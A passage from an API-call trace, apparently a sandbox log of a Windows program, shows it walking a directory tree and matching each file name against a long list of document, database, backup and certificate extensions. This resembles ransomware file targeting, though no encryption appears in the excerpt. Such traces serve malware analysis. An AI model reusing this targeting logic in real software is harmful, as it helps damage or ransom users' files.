	[0164.927] lstrlenW (lpString=".clx") returned 4
	[0164.927] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1
	[0164.927] lstrlenW (lpString=".config") returned 7
	[0164.927] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1
	[0164.927] lstrlenW (lpString=".cpp") returned 4
	[0164.927] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1
	[0164.927] lstrlenW (lpString=".cr2") returned 4
	[0164.927] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1
	[0164.927] lstrlenW (lpString=".crt") returned 4
	[0164.927] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1
	[0164.927] lstrlenW (lpString=".crw") returned 4
	[0164.927] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1
	[0164.927] lstrlenW (lpString=".cs") returned 3
	[0164.927] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1
	[0164.927] lstrlenW (lpString=".css") returned 4
	[0164.928] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1
	[0164.928] lstrlenW (lpString=".csv") returned 4
	[0164.928] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1
	[0164.928] lstrlenW (lpString=".cub") returned 4
	[0164.928] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1
	[0164.928] lstrlenW (lpString=".dae") returned 4
	[0164.928] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1
	[0164.928] lstrlenW (lpString=".dat") returned 4
	[0164.928] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1
	[0164.928] lstrlenW (lpString=".db") returned 3
	[0164.928] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1
	[0164.928] lstrlenW (lpString=".dbf") returned 4
	[0164.928] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0164.928] lstrlenW (lpString=".dbx") returned 4
	[0164.928] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1
	[0164.928] lstrlenW (lpString=".dc3") returned 4
	[0164.928] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1
	[0164.928] lstrlenW (lpString=".dcm") returned 4
	[0164.928] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1
	[0164.928] lstrlenW (lpString=".dcr") returned 4
	[0164.928] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1
	[0164.928] lstrlenW (lpString=".der") returned 4
	[0164.928] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1
	[0164.928] lstrlenW (lpString=".dib") returned 4
	[0164.928] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1
	[0164.928] lstrlenW (lpString=".dic") returned 4
	[0164.928] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1
	[0164.928] lstrlenW (lpString=".dif") returned 4
	[0164.928] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1
	[0164.928] lstrlenW (lpString=".divx") returned 5
	[0164.928] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1
	[0164.928] lstrlenW (lpString=".djvu") returned 5
	[0164.928] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1
	[0164.928] lstrlenW (lpString=".dng") returned 4
	[0164.928] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1
	[0164.928] lstrlenW (lpString=".doc") returned 4
	[0164.929] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0164.929] lstrlenW (lpString=".docm") returned 5
	[0164.929] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1
	[0164.929] lstrlenW (lpString=".docx") returned 5
	[0164.929] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0164.929] lstrlenW (lpString=".dot") returned 4
	[0164.929] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1
	[0164.929] lstrlenW (lpString=".dotm") returned 5
	[0164.929] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1
	[0164.929] lstrlenW (lpString=".dotx") returned 5
	[0164.929] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1
	[0164.929] lstrlenW (lpString=".dpx") returned 4
	[0164.929] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1
	[0164.929] lstrlenW (lpString=".dqy") returned 4
	[0164.929] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1
	[0164.929] lstrlenW (lpString=".dsn") returned 4
	[0164.929] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1
	[0164.929] lstrlenW (lpString=".dt") returned 3
	[0164.929] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1
	[0164.929] lstrlenW (lpString=".dtd") returned 4
	[0164.929] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1
	[0164.929] lstrlenW (lpString=".dwg") returned 4
	[0164.929] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1
	[0164.929] lstrlenW (lpString=".dwt") returned 4
	[0164.929] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1
	[0164.929] lstrlenW (lpString=".dx") returned 3
	[0164.929] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1
	[0164.929] lstrlenW (lpString=".dxf") returned 4
	[0164.929] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1
	[0164.929] lstrlenW (lpString=".edml") returned 5
	[0164.929] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1
	[0164.929] lstrlenW (lpString=".efd") returned 4
	[0164.929] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1
	[0164.929] lstrlenW (lpString=".elf") returned 4
	[0164.929] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1
	[0164.930] lstrlenW (lpString=".emf") returned 4
	[0164.930] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1
	[0164.930] lstrlenW (lpString=".emz") returned 4
	[0164.930] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1
	[0164.930] lstrlenW (lpString=".epf") returned 4
	[0164.930] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1
	[0164.930] lstrlenW (lpString=".eps") returned 4
	[0164.930] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1
	[0164.930] lstrlenW (lpString=".epsf") returned 5
	[0164.930] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1
	[0164.930] lstrlenW (lpString=".epsp") returned 5
	[0164.930] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1
	[0164.930] lstrlenW (lpString=".erf") returned 4
	[0164.930] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1
	[0164.930] lstrlenW (lpString=".exr") returned 4
	[0164.930] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1
	[0164.930] lstrlenW (lpString=".f4v") returned 4
	[0164.930] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1
	[0164.930] lstrlenW (lpString=".fido") returned 5
	[0164.930] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1
	[0164.930] lstrlenW (lpString=".flm") returned 4
	[0164.930] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1
	[0164.930] lstrlenW (lpString=".flv") returned 4
	[0164.930] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1
	[0164.930] lstrlenW (lpString=".frm") returned 4
	[0164.930] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1
	[0164.930] lstrlenW (lpString=".fxg") returned 4
	[0164.930] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1
	[0164.930] lstrlenW (lpString=".geo") returned 4
	[0164.930] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1
	[0164.930] lstrlenW (lpString=".gif") returned 4
	[0164.930] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1
	[0164.930] lstrlenW (lpString=".grs") returned 4
	[0164.930] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1
	[0164.930] lstrlenW (lpString=".gz") returned 3
	[0164.930] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1
	[0164.931] lstrlenW (lpString=".h") returned 2
	[0164.931] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0164.931] lstrlenW (lpString=".hdr") returned 4
	[0164.931] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1
	[0164.931] lstrlenW (lpString=".hpp") returned 4
	[0164.931] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1
	[0164.931] lstrlenW (lpString=".hta") returned 4
	[0164.931] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1
	[0164.931] lstrlenW (lpString=".htc") returned 4
	[0164.931] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1
	[0164.931] lstrlenW (lpString=".htm") returned 4
	[0164.931] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0164.931] lstrlenW (lpString="toastbeginupgradeth2.xml") returned 24
	[0164.931] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0164.931] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0164.931] FindClose (in: hFindFile=0x4140d98 | out: hFindFile=0x4140d98) returned 1
	[0164.932] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0164.932] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d0e1e3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-MY", cAlternateFileName="")) returned 1
	[0164.932] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x423fbb0
	[0164.932] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY") returned 100
	[0164.932] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\*", lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d0e1e3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4140d98
	[0164.937] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d0e1e3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0164.938] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0164.938] lstrlenW (lpString="index.html") returned 10
	[0164.938] lstrlenW (lpString=".1cd") returned 4
	[0164.938] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0164.938] lstrlenW (lpString=".3ds") returned 4
	[0164.938] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0164.938] lstrlenW (lpString=".3fr") returned 4
	[0164.938] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0164.938] lstrlenW (lpString=".3g2") returned 4
	[0164.938] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0164.938] lstrlenW (lpString=".3gp") returned 4
	[0164.938] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0164.938] lstrlenW (lpString=".7z") returned 3
	[0164.938] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0164.938] lstrlenW (lpString=".accda") returned 6
	[0164.938] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1
	[0164.938] lstrlenW (lpString=".accdb") returned 6
	[0164.938] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1
	[0164.938] lstrlenW (lpString=".accdc") returned 6
	[0164.938] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1
	[0164.938] lstrlenW (lpString=".accde") returned 6
	[0164.938] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1
	[0164.938] lstrlenW (lpString=".accdt") returned 6
	[0164.938] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1
	[0164.938] lstrlenW (lpString=".accdw") returned 6
	[0164.938] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1
	[0164.938] lstrlenW (lpString=".adb") returned 4
	[0164.938] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0164.938] lstrlenW (lpString=".adp") returned 4
	[0164.938] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0164.938] lstrlenW (lpString=".ai") returned 3
	[0164.938] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0164.939] lstrlenW (lpString=".ai3") returned 4
	[0164.939] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0164.939] lstrlenW (lpString=".ai4") returned 4
	[0164.939] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0164.939] lstrlenW (lpString=".ai5") returned 4
	[0164.939] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0164.939] lstrlenW (lpString=".ai6") returned 4
	[0164.939] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0164.939] lstrlenW (lpString=".ai7") returned 4
	[0164.939] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0164.939] lstrlenW (lpString=".ai8") returned 4
	[0164.939] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0164.939] lstrlenW (lpString=".anim") returned 5
	[0164.939] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0164.939] lstrlenW (lpString=".arw") returned 4
	[0164.939] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0164.939] lstrlenW (lpString=".as") returned 3
	[0164.939] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0164.939] lstrlenW (lpString=".asa") returned 4
	[0164.939] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0164.939] lstrlenW (lpString=".asc") returned 4
	[0164.939] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0164.939] lstrlenW (lpString=".ascx") returned 5
	[0164.939] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0164.939] lstrlenW (lpString=".asm") returned 4
	[0164.939] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0164.939] lstrlenW (lpString=".asmx") returned 5
	[0164.939] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0164.939] lstrlenW (lpString=".asp") returned 4
	[0164.939] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0164.939] lstrlenW (lpString=".aspx") returned 5
	[0164.939] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0164.939] lstrlenW (lpString=".asr") returned 4
	[0164.939] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0164.939] lstrlenW (lpString=".asx") returned 4
	[0164.940] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0164.940] lstrlenW (lpString=".avi") returned 4
	[0164.940] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0164.940] lstrlenW (lpString=".avs") returned 4
	[0164.940] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0164.940] lstrlenW (lpString=".backup") returned 7
	[0164.940] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1
	[0164.940] lstrlenW (lpString=".bak") returned 4
	[0164.940] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0164.940] lstrlenW (lpString=".bay") returned 4
	[0164.940] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0164.940] lstrlenW (lpString=".bd") returned 3
	[0164.940] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0164.940] lstrlenW (lpString=".bin") returned 4
	[0164.940] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0164.940] lstrlenW (lpString=".bmp") returned 4
	[0164.940] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0164.940] lstrlenW (lpString=".bz2") returned 4
	[0164.940] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0164.940] lstrlenW (lpString=".c") returned 2
	[0164.940] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0164.940] lstrlenW (lpString=".cdr") returned 4
	[0164.940] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0164.940] lstrlenW (lpString=".cer") returned 4
	[0164.940] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0164.940] lstrlenW (lpString=".cf") returned 3
	[0164.940] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0164.940] lstrlenW (lpString=".cfc") returned 4
	[0164.940] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0164.940] lstrlenW (lpString=".cfm") returned 4
	[0164.940] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0164.940] lstrlenW (lpString=".cfml") returned 5
	[0164.940] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0164.941] lstrlenW (lpString=".cfu") returned 4
	[0164.941] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0164.941] lstrlenW (lpString=".chm") returned 4
	[0164.941] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0164.941] lstrlenW (lpString=".cin") returned 4
	[0164.941] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0164.941] lstrlenW (lpString=".class") returned 6
	[0164.941] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1
	[0164.941] lstrlenW (lpString=".clx") returned 4
	[0164.941] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0164.941] lstrlenW (lpString=".config") returned 7
	[0164.941] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1
	[0164.941] lstrlenW (lpString=".cpp") returned 4
	[0164.941] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0164.941] lstrlenW (lpString=".cr2") returned 4
	[0164.941] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0164.941] lstrlenW (lpString=".crt") returned 4
	[0164.941] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0164.941] lstrlenW (lpString=".crw") returned 4
	[0164.941] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0164.941] lstrlenW (lpString=".cs") returned 3
	[0164.941] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0164.941] lstrlenW (lpString=".css") returned 4
	[0164.941] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0164.941] lstrlenW (lpString=".csv") returned 4
	[0164.941] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0164.941] lstrlenW (lpString=".cub") returned 4
	[0164.941] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0164.941] lstrlenW (lpString=".dae") returned 4
	[0164.941] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0164.941] lstrlenW (lpString=".dat") returned 4
	[0164.941] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0164.941] lstrlenW (lpString=".db") returned 3
	[0164.941] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0164.941] lstrlenW (lpString=".dbf") returned 4
	[0164.942] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0164.942] lstrlenW (lpString=".dbx") returned 4
	[0164.942] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0164.942] lstrlenW (lpString=".dc3") returned 4
	[0164.942] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0164.942] lstrlenW (lpString=".dcm") returned 4
	[0164.942] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0164.942] lstrlenW (lpString=".dcr") returned 4
	[0164.942] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0164.942] lstrlenW (lpString=".der") returned 4
	[0164.942] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0164.942] lstrlenW (lpString=".dib") returned 4
	[0164.942] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0164.942] lstrlenW (lpString=".dic") returned 4
	[0164.942] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0164.942] lstrlenW (lpString=".dif") returned 4
	[0164.942] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0164.942] lstrlenW (lpString=".divx") returned 5
	[0164.942] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0164.942] lstrlenW (lpString=".djvu") returned 5
	[0164.942] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0164.942] lstrlenW (lpString=".dng") returned 4
	[0164.942] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0164.942] lstrlenW (lpString=".doc") returned 4
	[0164.942] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0164.942] lstrlenW (lpString=".docm") returned 5
	[0164.942] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0164.942] lstrlenW (lpString=".docx") returned 5
	[0164.942] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0164.942] lstrlenW (lpString=".dot") returned 4
	[0164.942] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0164.942] lstrlenW (lpString=".dotm") returned 5
	[0164.942] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0164.942] lstrlenW (lpString=".dotx") returned 5
	[0164.942] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0164.943] lstrlenW (lpString=".dpx") returned 4
	[0164.943] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0164.943] lstrlenW (lpString=".dqy") returned 4
	[0164.943] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0164.943] lstrlenW (lpString=".dsn") returned 4
	[0164.943] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0164.943] lstrlenW (lpString=".dt") returned 3
	[0164.943] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0164.943] lstrlenW (lpString=".dtd") returned 4
	[0164.943] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0164.943] lstrlenW (lpString=".dwg") returned 4
	[0164.943] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0164.943] lstrlenW (lpString=".dwt") returned 4
	[0164.943] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0164.943] lstrlenW (lpString=".dx") returned 3
	[0164.943] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0164.943] lstrlenW (lpString=".dxf") returned 4
	[0164.943] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0164.943] lstrlenW (lpString=".edml") returned 5
	[0164.943] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0164.943] lstrlenW (lpString=".efd") returned 4
	[0164.943] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0164.943] lstrlenW (lpString=".elf") returned 4
	[0164.943] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0164.943] lstrlenW (lpString=".emf") returned 4
	[0164.943] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0164.943] lstrlenW (lpString=".emz") returned 4
	[0164.943] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0164.943] lstrlenW (lpString=".epf") returned 4
	[0164.943] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0164.943] lstrlenW (lpString=".eps") returned 4
	[0164.943] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0164.943] lstrlenW (lpString=".epsf") returned 5
	[0164.943] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0164.943] lstrlenW (lpString=".epsp") returned 5
	[0164.944] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0164.944] lstrlenW (lpString=".erf") returned 4
	[0164.944] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0164.944] lstrlenW (lpString=".exr") returned 4
	[0164.944] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0164.944] lstrlenW (lpString=".f4v") returned 4
	[0164.944] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0164.944] lstrlenW (lpString=".fido") returned 5
	[0164.944] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0164.944] lstrlenW (lpString=".flm") returned 4
	[0164.944] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0164.944] lstrlenW (lpString=".flv") returned 4
	[0164.944] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0164.944] lstrlenW (lpString=".frm") returned 4
	[0164.944] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0164.944] lstrlenW (lpString=".fxg") returned 4
	[0164.944] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0164.944] lstrlenW (lpString=".geo") returned 4
	[0164.944] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0164.944] lstrlenW (lpString=".gif") returned 4
	[0164.944] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0164.944] lstrlenW (lpString=".grs") returned 4
	[0164.944] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0164.944] lstrlenW (lpString=".gz") returned 3
	[0164.944] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0164.944] lstrlenW (lpString=".h") returned 2
	[0164.944] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0164.944] lstrlenW (lpString=".hdr") returned 4
	[0164.944] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0164.944] lstrlenW (lpString=".hpp") returned 4
	[0164.944] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0164.944] lstrlenW (lpString=".hta") returned 4
	[0164.944] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0164.945] lstrlenW (lpString=".htc") returned 4
	[0164.945] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0164.945] lstrlenW (lpString=".htm") returned 4
	[0164.945] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1
	[0164.945] lstrlenW (lpString=".html") returned 5
	[0164.945] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0164.945] lstrlenW (lpString="index.html") returned 10
